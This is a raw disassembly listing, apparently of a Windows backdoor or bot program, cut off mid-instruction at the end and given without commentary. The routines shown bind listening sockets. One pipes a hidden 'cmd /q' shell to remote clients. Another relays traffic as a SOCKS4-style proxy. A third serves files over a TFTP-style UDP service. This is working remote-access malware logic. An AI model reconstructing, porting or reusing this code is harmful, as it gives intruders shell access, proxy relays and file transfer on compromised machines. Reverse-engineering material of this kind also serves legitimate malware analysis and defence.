sub_411968+D9j mov edi, dword_4280B4 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_411A87 ; --------------------------------------------------------------------------- loc_411A6C: ; CODE XREF: sub_411968+D6j push ebx push dword ptr [esi+10h] jmp short loc_411A76 ; --------------------------------------------------------------------------- loc_411A72: ; CODE XREF: sub_411968+D3j push ebx push dword ptr [esi+14h] loc_411A76: ; CODE XREF: sub_411968+108j call dword_4280B4 ; TerminateThread push 1 push dword ptr [esi+8] call dword_428100 ; TerminateProcess loc_411A87: ; CODE XREF: sub_411968+EEj ; sub_411968+102j push dword ptr [esi+10h] mov edi, dword_428070 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4CE3A0 ; closesocket push esi call sub_41B721 xor eax, eax inc eax loc_411AB7: ; CODE XREF: sub_411968+6Aj pop ecx loc_411AB8: ; CODE XREF: sub_411968+ABj pop edi pop esi pop ebx leave retn sub_411968 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411ABD proc near ; CODE XREF: sub_411968+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BB45 mov esi, eax pop ecx cmp esi, edi jz loc_411BA7 mov ebx, dword_42810C lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, dword_428070 test eax, eax jnz short loc_411B20 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_437BF8 jmp short loc_411B40 ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411ABD+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_411B48 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_437BB8 loc_411B40: ; CODE XREF: sub_411ABD+61j call sub_415FB9 pop ecx jmp short loc_411B76 ; --------------------------------------------------------------------------- loc_411B48: ; CODE XREF: sub_411ABD+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411BB6 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_411BAB push offset unk_437B90 call sub_415F45 loc_411B76: ; CODE XREF: sub_411ABD+89j cmp [ebp+var_4], 0 pop ecx jz short loc_411B82 push [ebp+var_4] call edi ; CloseHandle loc_411B82: ; CODE XREF: sub_411ABD+BEj cmp [ebp+var_8], 0 jz short loc_411B8D push [ebp+var_8] call edi ; CloseHandle loc_411B8D: ; CODE XREF: sub_411ABD+C9j mov eax, [esi] test eax, eax jz short loc_411B96 push eax call edi ; CloseHandle loc_411B96: ; CODE XREF: sub_411ABD+D4j mov eax, [esi+4] test eax, eax jz short loc_411BA0 push eax call edi ; CloseHandle loc_411BA0: ; CODE XREF: sub_411ABD+DEj push esi call sub_41B721 pop ecx loc_411BA7: ; CODE XREF: sub_411ABD+1Dj xor eax, eax jmp short loc_411BB1 ; --------------------------------------------------------------------------- loc_411BAB: ; CODE XREF: sub_411ABD+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_411BB1: ; CODE XREF: sub_411ABD+ECj pop edi pop esi pop ebx leave retn sub_411ABD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BB6 proc near ; CODE XREF: sub_411ABD+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BC00 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BC00 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_428108 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call dword_428104 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call dword_428074 ; CreateProcessA test eax, eax jz short loc_411C72 mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_441250[eax], ecx call dword_428070 ; CloseHandle jmp short loc_411C88 ; --------------------------------------------------------------------------- loc_411C72: ; CODE XREF: sub_411BB6+9Aj call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_437C38 call sub_415FB9 mov esi, [ebp+var_4] pop ecx pop ecx loc_411C88: ; CODE XREF: sub_411BB6+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C8F proc near ; DATA XREF: sub_411968+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx mov ebx, dword_4280EC push esi push edi mov edi, [ebp+arg_0] jmp short loc_411CF2 ; --------------------------------------------------------------------------- loc_411CA6: ; CODE XREF: sub_411C8F+7Bj xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411CDB loc_411CB1: ; CODE XREF: sub_411C8F+4Aj mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411CCB cmp dl, 0Dh jz short loc_411CCB mov [ebp+eax+var_1B0], 0Dh inc eax loc_411CCB: ; CODE XREF: sub_411C8F+2Cj ; sub_411C8F+31j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411CB1 loc_411CDB: ; CODE XREF: sub_411C8F+20j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CE358 ; send test eax, eax jle short loc_411D0C loc_411CF2: ; CODE XREF: sub_411C8F+15j lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] call ebx ; ReadFile test eax, eax jnz short loc_411CA6 loc_411D0C: ; CODE XREF: sub_411C8F+61j mov esi, dword_428094 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_411D28 call esi ; RtlGetLastWin32Error push eax push offset unk_437C78 call sub_415FB9 pop ecx pop ecx loc_411D28: ; CODE XREF: sub_411C8F+88j pop edi pop esi pop ebx leave retn sub_411C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D2D proc near ; DATA XREF: sub_411968+75o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx jmp loc_411E26 ; --------------------------------------------------------------------------- loc_411D48: ; CODE XREF: sub_411D2D+10Ej cmp [ebp+var_10], ebx jbe short loc_411D55 dec [ebp+var_10] jmp loc_411E29 ; --------------------------------------------------------------------------- loc_411D55: ; CODE XREF: sub_411D2D+1Ej mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411E11 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411DC5 cmp al, 7Fh jz short loc_411DC5 cmp al, 3 jnz short loc_411D80 push ebx push ebx call dword_428138 ; GenerateConsoleCtrlEvent jmp short loc_411DEC ; --------------------------------------------------------------------------- loc_411D80: ; CODE XREF: sub_411D2D+47j cmp al, 15h jnz short loc_411DA2 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411DD8 ; --------------------------------------------------------------------------- loc_411DA2: ; CODE XREF: sub_411D2D+55j xor ecx, ecx mov [ebp+esi+var_DC], al inc esi inc ecx cmp al, 0Dh mov [ebp+var_8], al jnz short loc_411DD9 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411DD8 ; --------------------------------------------------------------------------- loc_411DC5: ; CODE XREF: sub_411D2D+3Fj ; sub_411D2D+43j cmp esi, ebx jbe short loc_411DEF dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411DD8: ; CODE XREF: sub_411D2D+73j ; sub_411D2D+96j pop ecx loc_411DD9: ; CODE XREF: sub_411D2D+85j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CE358 ; send test eax, eax jle short loc_411E41 loc_411DEC: ; CODE XREF: sub_411D2D+51j mov al, byte ptr [ebp+arg_0+3] loc_411DEF: ; CODE XREF: sub_411D2D+9Aj cmp al, 0Dh jnz short loc_411E29 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call dword_4280F0 ; WriteFile test eax, eax jz short loc_411E41 xor esi, esi jmp short loc_411E29 ; --------------------------------------------------------------------------- loc_411E11: ; CODE XREF: sub_411D2D+34j cmp [ebp+var_C], ebx jnz short loc_411E1F mov [ebp+var_C], 1 jmp short loc_411E29 ; --------------------------------------------------------------------------- loc_411E1F: ; CODE XREF: sub_411D2D+E7j mov [ebp+var_10], 0Ah loc_411E26: ; CODE XREF: sub_411D2D+16j mov [ebp+var_C], ebx loc_411E29: ; CODE XREF: sub_411D2D+23j ; sub_411D2D+C4j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CE320 ; recv test eax, eax jg loc_411D48 loc_411E41: ; CODE XREF: sub_411D2D+BDj ; sub_411D2D+DEj pop edi pop esi pop ebx leave retn sub_411D2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E46 proc near ; DATA XREF: sub_401AA1+2BBAo var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd xor edi, edi xor esi, esi inc edi push ebx mov [eax+0A8h], edi lea eax, [ebp+var_14] push esi push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_4CE308 ; ntohs push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_4CE388 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_441254[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4CE334 ; bind test eax, eax jnz loc_411FE7 push 0Ah push edi call dword_4CE330 ; listen test eax, eax jnz loc_411FE7 push [ebp+var_40] push [ebp+var_D4] call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_2D4] push offset dword_42DFF4 push eax call sub_41BEF6 add esp, 10h cmp [ebp+var_30], esi jnz short loc_411F21 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409743 add esp, 14h loc_411F21: ; CODE XREF: sub_411E46+B9j ; sub_411E46+18Aj ... lea eax, [ebp+var_2D4] push eax call sub_415F45 pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_4CE39C ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset dword_437D28 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2D4] push 19h push eax call sub_40B254 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_44124C[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_41204A push esi push esi call dword_428084 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_44125C[ecx], eax jnz short loc_411FDD call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset dword_437CE8 push eax call sub_41BEF6 add esp, 0Ch jmp loc_411F21 ; --------------------------------------------------------------------------- loc_411FD5: ; CODE XREF: sub_411E46+19Aj push 5 call dword_428080 ; Sleep loc_411FDD: ; CODE XREF: sub_411E46+16Dj cmp [ebp+var_28], esi jz short loc_411FD5 jmp loc_411F21 ; --------------------------------------------------------------------------- loc_411FE7: ; CODE XREF: sub_411E46+7Bj ; sub_411E46+8Cj push edi call dword_4CE3A0 ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset dword_437CB4 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_41202A push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409743 add esp, 14h loc_41202A: ; CODE XREF: sub_411E46+1C2j lea eax, [ebp+var_2D4] push eax call sub_415F45 push [ebp+var_3C] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi pop ebx sub_411E46 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41204A proc near ; DATA XREF: sub_411E46+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] xor edi, edi mov [ebp+arg_0], esi imul esi, 234h inc edi lea esi, dword_441254[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_4CE2F0 ; select test eax, eax jnz short loc_4120CB push dword ptr [esi] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread loc_4120CB: ; CODE XREF: sub_41204A+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_4CE320 ; recv test eax, eax jg short loc_4120FC push dword ptr [esi] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread loc_4120FC: ; CODE XREF: sub_41204A+98j cmp [ebp+var_4D0], 4 jnz loc_4122F6 cmp [ebp+var_4CF], 1 jnz loc_4122F6 cmp [ebp+var_44], bl jz short loc_412192 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_412192 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset dword_437DF4 call sub_415FB9 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_41BC00 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CE358 ; send push dword ptr [esi] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread loc_412192: ; CODE XREF: sub_41204A+CFj ; sub_41204A+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_41BC00 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_4CE388 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_41222A call dword_4CE29C ; WSAGetLastError push eax push offset dword_437DB4 call sub_415FB9 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41BC00 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CE358 ; send push dword ptr [esi] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread loc_41222A: ; CODE XREF: sub_41204A+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_4CE2B0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_412299 call dword_4CE29C ; WSAGetLastError push eax push offset dword_437D70 call sub_415FB9 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41BC00 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CE358 ; send push dword ptr [esi] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread loc_412299: ; CODE XREF: sub_41204A+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CE358 ; send push dword ptr [esi] push edi call sub_41230E pop ecx pop ecx push edi call dword_4CE3A0 ; closesocket push dword ptr [esi] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread loc_4122F6: ; CODE XREF: sub_41204A+B9j ; sub_41204A+C6j push dword ptr [esi] call dword_4CE3A0 ; closesocket push [ebp+arg_0] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread sub_41204A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41230E proc near ; CODE XREF: sub_41204A+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_412324: ; CODE XREF: sub_41230E+BEj ; sub_41230E+EEj xor ecx, ecx mov [ebp+var_100], ebx inc ecx xor eax, eax mov [ebp+var_104], ecx loc_412335: ; CODE XREF: sub_41230E+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_412346 inc eax cmp eax, ecx jb short loc_412335 loc_412346: ; CODE XREF: sub_41230E+31j cmp eax, ecx jnz short loc_41235A mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_41235A: ; CODE XREF: sub_41230E+3Aj push esi lea eax, [ebp+var_504] push edi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4CE2F0 ; select lea eax, [ebp+var_104] push eax push ebx call dword_4CE1F4 ; __WSAFDIsSet test eax, eax jz short loc_4123BA push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_4CE320 ; recv cmp eax, 0FFFFFFFFh jz short loc_412402 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jz short loc_412402 loc_4123BA: ; CODE XREF: sub_41230E+7Ej lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4CE1F4 ; __WSAFDIsSet test eax, eax jz loc_412324 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_4CE320 ; recv cmp eax, 0FFFFFFFFh jz short loc_412402 push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jnz loc_412324 loc_412402: ; CODE XREF: sub_41230E+93j ; sub_41230E+AAj ... pop edi pop esi pop ebx leave retn sub_41230E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412407 proc near ; CODE XREF: sub_412407:loc_41285Ap ; DATA XREF: sub_401AA1+2061o ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = byte ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h var_574 = byte ptr -574h var_374 = dword ptr -374h var_370 = byte ptr -370h var_26C = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh var_50 = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi xor ebx, ebx push edi xor eax, eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx inc eax push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4CE388 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4124A7 push 190h call dword_428080 ; Sleep cmp [ebp+var_D8], ebx jnz short loc_412487 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409743 add esp, 14h loc_412487: ; CODE XREF: sub_412407+5Bj lea eax, [ebp+var_778] push eax call sub_415F45 push [ebp+var_168] call sub_40B56A pop ecx pop ecx push ebx call dword_4280D4 ; ExitThread loc_4124A7: ; CODE XREF: sub_412407+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4CE2E8 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4CE2E8 ; setsockopt mov eax, [ebp+var_168] push 10h imul eax, 234h push ebx mov dword_441254[eax], esi lea eax, [ebp+var_2C] push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_2C], 2 push [ebp+var_160] call dword_4CE308 ; ntohs mov [ebp+var_2A], ax lea eax, [ebp+var_2C] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4CE334 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412531 push 1388h call dword_428080 ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_41285A ; --------------------------------------------------------------------------- loc_412531: ; CODE XREF: sub_412407+10Fj lea eax, [ebp+var_370] push offset dword_42A068 push eax call sub_41BB32 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_412597 push 190h call dword_428080 ; Sleep push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409743 lea eax, [ebp+var_778] push eax call sub_415F45 push [ebp+var_168] call sub_40B56A add esp, 1Ch push ebx call dword_4280D4 ; ExitThread loc_412597: ; CODE XREF: sub_412407+142j ; sub_412407+40Dj mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_41281D mov edi, 80h lea eax, [ebp+var_D0] push edi push ebx push eax mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4CE2F0 ; select test eax, eax jle loc_412811 mov al, byte_4404C4 mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4CE2E0 ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_50] push eax call sub_41BEF6 cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_4127FB cmp [ebp+var_CF], 1 jnz loc_412707 lea eax, [ebp+var_26C] push eax call sub_41B650 push ebx push ebx push [ebp+var_4] call sub_41D88C push [ebp+var_4] lea eax, [ebp+var_574] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h push 1 push eax mov [ebp+var_576], bl mov [ebp+var_575], 1 call sub_41B78A add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CE36C ; sendto cmp [ebp+var_D8], ebx jnz short loc_4126F5 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409743 add esp, 14h loc_4126F5: ; CODE XREF: sub_412407+2C9j lea eax, [ebp+var_778] push eax call sub_415F45 pop ecx jmp loc_412811 ; --------------------------------------------------------------------------- loc_412707: ; CODE XREF: sub_412407+257j cmp [ebp+var_CF], 4 jnz loc_4127FB mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_41273E inc al xor cl, cl mov [ebp+var_575], bl jmp short loc_412746 ; --------------------------------------------------------------------------- loc_41273E: ; CODE XREF: sub_412407+329j inc cl mov [ebp+var_575], cl loc_412746: ; CODE XREF: sub_412407+335j mov [ebp+var_576], al mov edi, 200h movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, edi push eax push [ebp+var_4] call sub_41D88C push [ebp+var_4] lea eax, [ebp+var_574] push edi push 1 push eax call sub_41B78A add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CE36C ; sendto cmp edi, ebx jnz short loc_412811 lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset dword_437E40 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_4127E6 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409743 add esp, 14h loc_4127E6: ; CODE XREF: sub_412407+3BAj lea eax, [ebp+var_778] push eax call sub_415F45 inc dword_4D0E00 pop ecx jmp short loc_412811 ; --------------------------------------------------------------------------- loc_4127FB: ; CODE XREF: sub_412407+24Aj ; sub_412407+307j push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_437E34 push esi call dword_4CE36C ; sendto loc_412811: ; CODE XREF: sub_412407+1E9j ; sub_412407+2FBj ... cmp [ebp+var_8], ebx jg loc_412597 mov edi, [ebp+arg_0] loc_41281D: ; CODE XREF: sub_412407+199j push esi call dword_4CE3A0 ; closesocket push [ebp+var_4] call sub_41B6CB dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_41284E push [ebp+var_168] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread loc_41284E: ; CODE XREF: sub_412407+432j push 3E8h call dword_428080 